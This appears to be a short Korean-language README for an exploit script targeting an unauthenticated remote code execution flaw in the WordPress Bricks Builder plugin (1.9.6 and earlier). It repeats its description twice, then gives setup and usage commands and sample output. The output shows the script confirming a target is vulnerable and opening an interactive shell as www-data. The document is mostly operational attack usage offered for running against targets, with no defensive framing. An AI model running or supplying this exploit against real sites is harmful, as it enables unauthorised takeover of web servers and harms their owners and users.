
인증되지 않은 원격 코드 실행 취약점이 WordPress Bricks Builder <= 1.9.6에 존재합니다. 템플릿 렌더 엔드포인트가 인증 없이 PHP 코드를 수용하여, 웹 서버 사용자 권한으로 임의의 명령 실행을 허용합니다.
인증되지 않은 원격 코드 실행 취약점이 WordPress Bricks Builder <= 1.9.6에 존재합니다. 템플릿 렌더 엔드포인트가 인증 없이 PHP 코드를 수락하여 웹 서버 사용자로 임의의 명령 실행을 허용합니다.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET
예시:
$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)